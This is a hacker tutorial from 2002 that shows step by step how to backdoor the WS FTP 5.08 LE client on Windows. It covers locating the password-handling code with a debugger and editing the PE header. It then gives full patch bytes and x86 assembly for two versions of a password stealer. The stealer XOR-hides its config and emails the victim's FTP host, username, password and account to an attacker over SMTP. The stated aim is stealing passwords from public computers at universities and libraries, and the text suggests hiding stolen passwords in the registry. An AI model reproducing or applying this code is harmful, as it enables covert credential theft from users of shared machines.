- Backdooring Win32 Applications -
                                      PART ONE:

                              Backdooring WS FTP 5.08 LE

Completed on 03-29-02 (MM-DD-YY)
By: [ByteRage] <www.byterage.cjb.net> <www.duho.cjb.net>

******

INDEX:

Introduction
0. - Foreword
1. - Audience
2. - Methodologies

3. - Reverse engineering our target
     3.1 Pinpointing where we should make the detour
     3.2 Pinpointing where the login/password information is stored
4. - Patching the executable : First approach (new section)
     4.1 Adding a section by modifying the PE header
     4.2 Making the patches
     4.3 Adding the extra code
     4.4 The finished patch
5. - Patching the executable : Second approach (fit into sections)
     5.1 Modifying the PE header
     5.2 Making the patches
     5.3 Inserting the code
     5.4 The finished patch

6. - Last words

****************************************************************

0. Foreword

In this first tutorial I will (un)cover some techniques to backdoor the
popular FTP client WS FTP LE (5.08)... The main focus will be to implement
a password snatching backdoor. It will intercept the password the user
types and then pass it on to the attacker... This technique is interesting
for hacking public PCs like the ones you can find at universities, local
libaries, or whatever the hell you see fit...

1. Audience

Since this tutorial covers a more advanced topic, knowledge of 32-bit
Intel assembler is required to understand it... I'm not going to rehash
the basics like what registers and flags are and do, so refer to your
assembly book for that. You should also be familiar with the PE file
format, but given the specs and a program like dumpbin or pedump, and some
messing around it isn't that difficult to grasp the minimal knowledge
required for making the necessary patches.

2. Methodologies

Before we change anything to our target, we will reverse engineer it to
investigate how it works. First of all, we have to pinpoint where we will
patch the original program so that it makes a detour to our backdoor.
Second of all, we have to know where our passwords are in memory when our
detour is made.

Then, there are three possible approaches to patch the PE executable :

(1) add an extra section
(2) expand the last section
(3) using the free space in existing sections

The main advantage of the third method is that it doesn't increase the
filelength of our target, nor does it require adding an extra section,
making it a more stealth technique... In our first patching approach, we
will implement the first method, and in the second approach, we will
optimize our code for size, and fit it into the existing sections (third
method).

3. Reverse engineering our target

3.1 Pinpointing where we should make the detour

We are going to intercept passwords by adding a backdoor to the
executable. To accomplish this we first need to reverse engineer the
program to see where the program handles the USER/PASS combinations. As
you'll see, at that point we can make a simple detour from the password
handling system to a code section we add that will snatch the passwords.

Since we are dealing with an FTP-client here, we can search for strings
like "USER" and "PASS" with a deadlister program like W32Dasm or IDA (Pro)
and we'll soon get to the place where the program is messing around with
some passwords :)

Here's such a piece of code :

* Possible StringData Ref from Data Obj ->"PASS "
                                  |
:00415E7A 688CFA4200              push 0042FA8C
:00415E7F 50                      push eax
:00415E80 E8CBAF0000              call 00420E50
:00415E85 83C40C                  add esp, 0000000C
:00415E88 85C0                    test eax, eax
:00415E8A 7507                    jne 00415E93

* Possible StringData Ref from Data Obj ->"PASS (hidden)"
                                  |
:00415E8C 6898144300              push 00431498
:00415E91 EB45                    jmp 00415ED8

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00415E8A(C)
|
:00415E93 8D442408                lea eax, dword ptr [esp+08]

* Possible Reference to String Resource ID=00005: "Non-recoverable:
refused or not implemented"
                                  |
:00415E97 6A05                    push 00000005

* Possible StringData Ref from Data Obj ->"ACCT "
                                  |
:00415E99 6890144300              push 00431490
:00415E9E 50                      push eax
:00415E9F E8ACAF0000              call 00420E50
:00415EA4 83C40C                  add esp, 0000000C
:00415EA7 85C0                    test eax, eax
:00415EA9 7507                    jne 00415EB2

* Possible StringData Ref from Data Obj ->"ACCT (hidden)"
                                  |
:00415EAB 6880144300              push 00431480
:00415EB0 EB26                    jmp 00415ED8

The "PASS (hidden)" and "ACCT (hidden)" strings are shown by the ftp client
when the user logs in... We can add a detour by patching the two
push xxxxxxxx; jmp 00415ED8 instructions by two jumps that jump to two
different places in our snatching code (because we still have to do 
the push xxxxxxxx after our jump, which takes 5 bytes) :

; patched code
6898144300 patch to -> E9xxxxxxxx JMP ENTRY1
EB45                   9090       NOP; NOP

6880144300 patch to -> E9xxxxxxxx JMP ENTRY2
EB26                   9090       NOP; NOP

[...]

; appended code
; do the pushes
ENTRY1:
push 00431498
jmp @1
ENTRY2:
push 00431480
@1:

; snatch the password
[...]

; jump back to the original program
jmp 00415ED8

3.2 Pinpointing where the login/password information is stored

There are different methods to get this type of information, but since we
get a dialog where we have to type in our password, we can try to get the
password location by stepping through the program code with SoftICE. This
type of reverse engineering is done alot to break serial numbers.

Go through the following steps :
- start WSFTP, go to the screen where you set the host/login/acct/pass/...
- hit CTRL+D to go to SoftICE, then type :
  BPX GetDlgItemTextA
  and hit CTRL+D to go back to windows
- type some login/password/... hit the <OK> button
- softice will break the program execution a couple of times,
  for every field we just filled in...
- after tracing through the program, and dumping some memory, with
  SoftICE's D command, we can conclude that :

-> the ftp hostname is at 00437BD0
-> the login (USER) is at 00437CD0
-> the password (PASS) is at 00437D20
-> the account (ACCT) is at 00437D70

4. Patching the executable : First approach (new section)

4.1 Adding a section by modifying the PE header

Before we can add our code to the file, we must modify the header.
When we take a look at the current EXE file's contents with PE dump or
dumpbin we get the following information about the used sections :

[...]
  Number of Sections:           0006
[...]
Section Table
  01 .text     VirtSize: 0002B17D  VirtAddr:  00001000
    raw data offs:   00000400  raw data size: 0002B200
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 60000020
      CODE  EXECUTE  READ  ALIGN_DEFAULT(16)

  02 .rdata    VirtSize: 00001D62  VirtAddr:  0002D000
    raw data offs:   0002B600  raw data size: 00001E00
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 40000040
      INITIALIZED_DATA  READ  ALIGN_DEFAULT(16)

  03 .data     VirtSize: 0000E20C  VirtAddr:  0002F000
    raw data offs:   0002D400  raw data size: 00004A00
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: C0000040
      INITIALIZED_DATA  READ  WRITE  ALIGN_DEFAULT(16)

  04 .idata    VirtSize: 000019F8  VirtAddr:  0003E000
    raw data offs:   00031E00  raw data size: 00001A00
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: C0000040
      INITIALIZED_DATA  READ  WRITE  ALIGN_DEFAULT(16)

  05 .rsrc     VirtSize: 000303B0  VirtAddr:  00040000
    raw data offs:   00033800  raw data size: 00030400
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 40000040
      INITIALIZED_DATA  READ  ALIGN_DEFAULT(16)

  06 .reloc    VirtSize: 00004BD6  VirtAddr:  00071000
    raw data offs:   00063C00  raw data size: 00004C00
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 42000040
      INITIALIZED_DATA  DISCARDABLE  READ  ALIGN_DEFAULT(16)

The first thing we'll have to do is increase the "Number Of Sections" word
by one, in the case of WS-FTP, this word is located at offset 086h, hence
we change the byte from 06 to 07 with a hexeditor.

Now, we should also add an extra entry to the Section Table,
here's how our section table entry could look like :

  07 .txt2     VirtSize: 00000400  VirtAddr:  00076000
    raw data offs:   00068800  raw data size: 00000400
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: E0000020
      CODE  EXECUTE  READ  WRITE  ALIGN_DEFAULT(16)

This section entry allocates 1024 bytes (400 in hex) in memory (VirtSize)
a bit after the .reloc section, which ends somewhere around virtual
address 00075BD5 (VirtAddr). When the program gets loaded, we want to load
the bytes starting at offset 068800h in the binary file into this
allocated space... (raw data size says that this will be 1024 bytes, but
it can be less, since the loader will also stop when it reaches the end of
the file) We set the flags (characteristics) of this section to
CODE+EXECUTE+READ+WRITE, because our added code will have to be executable
(duh) and it also includes data, which we want to manipulate at will.

We name our section .txt2, not to arouse too much suspicion when somebody
examines the file with a hexeditor... (you could also name it .l33t for
example, but that would be a bit stupid)

4.2 Making the patches

Now that we know that our added code will be located at virtual address
00476000, we can patch the main program to make the detour :

; CODE PATCHES
change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8)
change to   : E9 6F 01 06 00 90 90 (JMP  00476000 (ENTRY1); NOP; NOP)
change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8)
change to   : E9 5F 01 06 00 90 90 (JMP  00476007 (ENTRY2); NOP; NOP)

; CODE AT 476000: (appended to the file)
ENTRY1:
6898144300   PUSH 00431498
EB05         JMP @1
ENTRY2:
6880144300   PUSH 00431480
@1:

[...]

JMP 00415ED8

This works, but it doesn't do much interesting (yet)...
So let's go on to the next step...

4.3 Adding the extra code

Adding this password snatching code is just like writing a buffer overflow
exploit, it's just easier, since we don't have to care about NULL
characters, and we can rely upon the IAT (Import Address Table) of our
target... Since our target is an internet client, this means that alot of
the functionality that we need will be available (like socket(),
connect(), send(), recv(), closesocket()...) if we want it to transfer
things from/to the internet. So we probably won't have to implement an
imports loader using the LoadLibrary / GetProcAddress API, and we
definitely wont have to encrypt our string table to eliminate NULL
characters when we do!

The code I've used here does the following :

- decrypt the socket_in (sin) structure and SMTP commands with an XOR
  decryption loop
- get a socket handle via socket()
  (function already imported by our target(IAT))
- make a tcp connection via connect()
  (in IAT as well)
- use the handle to send() some commands to an SMTP server (IAT)
- close the tcp connection via closesocket() (IAT)

When I say I use functions using the IAT, I mean I can figure out how to
CALL these functions by using a program like W32Dasm / IDA by checking how
the program CALLs them itself... Both W32Dasm and IDA give lists of all
these imported functions...

4.4 The finished patch

; ----------------------------------------
; WS FTP 5.08 PASSWORD SNATCHER CODE PATCH
; ----------------------------------------

; PE HEADER FIX: (ADD NEW SECTION, LENGTH 0400h BYTES)
; 00000086: db 07h
; 00000268: db ".txt2",00h,00h,00h
; 00000270: db 00h,04h,00h,00h
; 00000274: db 00h,60h,07h,00h
; 00000278: db 00h,04h,00h,00h
; 0000027C: db 00h,88h,06h,00h
; 0000028C: db 20h,00h,00h,E0h

; CODE PATCHES TO THE ORIGINAL BINARY
change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8)
change to   : E9 6F 01 06 00 90 90 (JMP  00476000 (ENTRY1); NOP; NOP)
change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8)
change to   : E9 5F 01 06 00 90 90 (JMP  00476007 (ENTRY2); NOP; NOP)

; CODE TO APPEND:
; 00476000:
ENTRY1:
6898144300   PUSH 00431498
EB05         JMP @1
ENTRY2:
6880144300   PUSH 00431480
@1:

60           PUSHAD
BEC0604700   MOV ESI,004760C0
33C9         XOR ECX,ECX
B15E         MOV CL,05E
@2:
803699       XOR B,[ESI],099
46           INC ESI
E2FA         LOOP @2

6A00         PUSH 00
6A01         PUSH 01
6A02         PUSH 02
E8219DFAFF   CALL WSOCK32!socket (.41FD48)
96           XCHG ESI,EAX
6A10         PUSH 10
68C0604700   PUSH offset sin
56           PUSH ESI
E8199DFAFF   CALL WSOCK32!connect (.41FD4E)
BFD0604700   MOV EDI, offset mailfrom
E85C000000   CALL SENDSTRING
BFF0604700   MOV EDI, offset rcptto
E852000000   CALL SENDSTRING
BF10614700   MOV EDI, offset data
E848000000   CALL SENDSTRING
BFD07B4300   MOV EDI, 437BD0 (->hostname)
E83E000000   CALL SENDSTRING
BFD07C4300   MOV EDI, 437CD0 (->username)
E834000000   CALL SENDSTRING
BF207D4300   MOV EDI, 437D20 (->password)
E82A000000   CALL SENDSTRING
BF707D4300   MOV EDI, 437D70 (->account)
E820000000   CALL SENDSTRING
BF15614700   MOV EDI, offset eom
E816000000   CALL SENDSTRING
BF19614700   MOV EDI, offset quit
E80C000000   CALL SENDSTRING
56           PUSH ESI
E87D9CFAFF   CALL WSOCK32!closesocket (.41FD12)
61           POPAD
E93DFEF9FF   JMP .000415ED8

; 0047609B:
; SENDSTRING sends a command to the SMTP server followed by a CR/LF
;            given a NULL terminated string
PROC SENDSTRING
57           PUSH EDI      ; save EDI
83C9FF       OR ECX,-01    ; get the length of the string
33C0         XOR EAX,EAX
F2AE         REPNE SCASB
F7D1         NOT ECX
5F           POP EDI
6A00         PUSH 000      ; send() string using the string length
51           PUSH ECX
57           PUSH EDI
56           PUSH ESI
E8489CFAFF   CALL WSOCK32!send (.41FD00)
6A00         PUSH 000      ; send() CR/LF which we take from EOM string
6A02         PUSH 002
6815614700   PUSH offset eom
53           PUSH EBX
E8399CFAFF   CALL WSOCK32!send (.41FD00)
C3           RETN
SENDSTRING ENDP

; XOR this data with 099h and append
; 004760C0:
sin db 02h, 00h,
       00h, 19h,           ; port #25
       7fh, 00h, 00h, 01h, ; ip # SMTP server
       00h, 00h, 00h, 00h, 00h, 00h, 00h, 00h
; 004760D0:
mailfrom db "MAIL FROM:<sender@sender.com>",00h
; [...] (padding)
: 004760F0:
rcptto db   "RCPT TO:<someone@somehost.com>",00h
; [...] (padding)
: 00476110:
data db "DATA",00h
: 00476115:
eom db 0dh,0ah,2eh,00h
: 00476119:
quit db "QUIT",00h

5. Patching the executable : Second approach (fit into existing sections)

5.1 Modifying the PE header

When we take a look at the first two section entries in our section table :

  01 .text     VirtSize: 0002B17D  VirtAddr:  00001000
    raw data offs:   00000400  raw data size: 0002B200
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 60000020
      CODE  EXECUTE  READ  ALIGN_DEFAULT(16)

  02 .rdata    VirtSize: 00001D62  VirtAddr:  0002D000
    raw data offs:   0002B600  raw data size: 00001E00
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 40000040
      INITIALIZED_DATA  READ  ALIGN_DEFAULT(16)

We can see that the raw data size of the two segments is a bit bigger than
the virtual size... This means that some of the space used in the file is
not used, as it doesn't get copied to memory. We can use this space to put
our backdoor code in... With some simple calculations we find that we have
2B200-2B17D = 131 bytes available at the end of the .text segment and
1E00-1D62 = 158 bytes in the .rdata segment. Since our code takes up 281
bytes, we have to split it up... We can easily divide our code across the
segments like this :

ENTRYPOINTS                  : 12 bytes   --> .rdata
MAIN CODE (optimized a bit)  : 106 bytes  --> .rdata
SENDSTRING                   : 37 bytes   --> .rdata
DATA                         : 94 bytes   --> .text

We change the section entries of the first two sections to these :

  01 .text     VirtSize: 0002B200  VirtAddr:  00001000
    raw data offs:   00000400  raw data size: 0002B200
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: E0000020
      CODE  EXECUTE  READ  WRITE  ALIGN_DEFAULT(16)

(set READ+WRITE flags for manipulating our data, set virtsize = raw data
 size)

  02 .rdata    VirtSize: 00001E00  VirtAddr:  0002D000
    raw data offs:   0002B600  raw data size: 00001E00
    relocation offs: 00000000  relocations:   00000000
    line # offs:     00000000  line #'s:      00000000
    characteristics: 40000040
      INITIALIZED_DATA  READ  ALIGN_DEFAULT(16)

(set virtsize = raw data size)

5.2 Making the patches

This is the same as in 4.2, we only have to change our destination
addresses :

change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8)
change to   : E9 D1 8E 01 00 90 90 (JMP  0042ED62 (ENTRY1); NOP; NOP)
change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8)
change to   : E9 B9 8E 01 00 90 90 (JMP  0042ED69 (ENTRY2); NOP; NOP)

5.3 Adding the extra code

The code remains the same (although I made some small optimizations)...
We only move it to the different locations and adapt the adresses.

5.4 The finished patch

; ------------------------------------------------------
; WS FTP 5.08 PASSWORD SNATCHER CODE PATCH (2nd version)
; ------------------------------------------------------

; PE HEADER FIX: (MODIFY EXISTING SECTIONS)
; 00000180: db 00h,B2h
; 0000019F: db E0h
; 000001A8: db 00h,1Eh

; CODE PATCHES TO THE ORIGINAL BINARY
change from : 68 98 14 43 00 EB 45 (PUSH 00431498; JMP 00415ED8)
change to   : E9 D1 8E 01 00 90 90 (JMP  0042ED62 (ENTRY1); NOP; NOP)
change from : 68 80 14 43 00 EB 45 (PUSH 00431480; JMP 00415ED8)
change to   : E9 B9 8E 01 00 90 90 (JMP  0042ED69 (ENTRY2); NOP; NOP)

; XOR this data with 099h and put it into the .text section
; 0042C17D:
sin db 02h, 00h,
       00h, 19h,           ; port #25
       7fh, 00h, 00h, 01h, ; ip # SMTP server
       00h, 00h, 00h, 00h, 00h, 00h, 00h, 00h
; 0042C18D:
mailfrom db "MAIL FROM:<sender@sender.com>",00h
; [...] (padding)
; 0042C1AD:
rcptto db   "RCPT TO:<someone@somehost.com>",00h
; [...] (padding)
; 0042C1CD:
data db "DATA",00h
; 0042C1D2:
eom db 0dh,0ah,2eh,00h
; 0042C1D6:
quit db "QUIT",00h

; the following code is put into the .rdata section :
; 0042ED62:
ENTRY1:
6898144300   PUSH 00431498
EB05         JMP @1
; 0042ED69:
ENTRY2:
6880144300   PUSH 00431480
@1:

60           PUSHAD
BE7DC14200   MOV ESI,0042C17D
33C9         XOR ECX,ECX
B15E         MOV CL,05E
@2:
803699       XOR B,[ESI],099
46           INC ESI
E2FA         LOOP @2

6A00         PUSH 00
6A01         PUSH 01
6A02         PUSH 02
E8BF0FFFFF   CALL WSOCK32!socket (.41FD48)
96           XCHG ESI,EAX
6A10         PUSH 10
687DC14200   PUSH offset sin
56           PUSH ESI
E8B70FFFFF   CALL WSOCK32!connect (.41FD4E)
BF8DC14200   MOV EDI, offset mailfrom
BDD8ED4200   MOV EBP, SENDSTRING ; optimized the SENDSTRING calls for size
FFD5         CALL EBP
FFD5         CALL EBP
FFD5         CALL EBP
BFD07B4300   MOV EDI, 437BD0 (->hostname)
FFD5         CALL EBP
BFD07C4300   MOV EDI, 437CD0 (->username)
FFD5         CALL EBP
BF207D4300   MOV EDI, 437D20 (->password)
FFD5         CALL EBP
BF707D4300   MOV EDI, 437D70 (->account)
FFD5         CALL EBP
BFD2C14200   MOV EDI, offset eom
FFD5         CALL EBP
FFD5         CALL EBP
56           PUSH ESI
E8400FFFFF   CALL CALL WSOCK32!closesocket (.41FD12)
61           POPAD
E90071FEFF   JMP .000415ED8

; SENDSTRING sends a command to the SMTP server followed by a CR/LF
;            given a NULL terminated string
PROC SENDSTRING
57           PUSH EDI      ; save EDI
83C9FF       OR ECX,-01    ; get the length of the string
33C0         XOR EAX,EAX
F2AE         REPNE SCASB
F7D1         NOT ECX
5A           POP EDX
6A00         PUSH 000      ; send() string using the string length
51           PUSH ECX
52           PUSH EDX
56           PUSH ESI
E8130FFFFF   CALL WSOCK32!send (.41FD00)
6A00         PUSH 000      ; send() CR/LF which we take from EOM string
6A02         PUSH 002
68D2C14200   PUSH offset eom
53           PUSH EBX
E8040FFFFF   CALL WSOCK32!send (.41FD00)
C3           RETN
SENDSTRING ENDP

6. Last words

In this tutorial, I have shown you how to implement a password snatching
backdoor that sends the user's passwords on a public computer to the
attacker's e-mail address via the SMTP protocol...
This technique might seem stealthy enough, but in case one is planning to
backdoor a publicly accessible network that is supposed to have some
security policy (firewalls / proxies), it might still be a bit noisy, or
it might not work to establish an internet connection to the SMTP server
the attacker is planning to use.
Therefor, one might consider making a backdoor that doesn't send the
(encrypted) passwords over the network (via SMTP, HTTP GET/POST, or even
IRC), but one that simply saves them locally where anyone can access it, so
that the attacker can rip the saved passwords later, when he accesses the
public PC again.
The windows registry would be an ideal hiding place for this...

[ByteRage] (byterage@yahoo.com)

-EOF-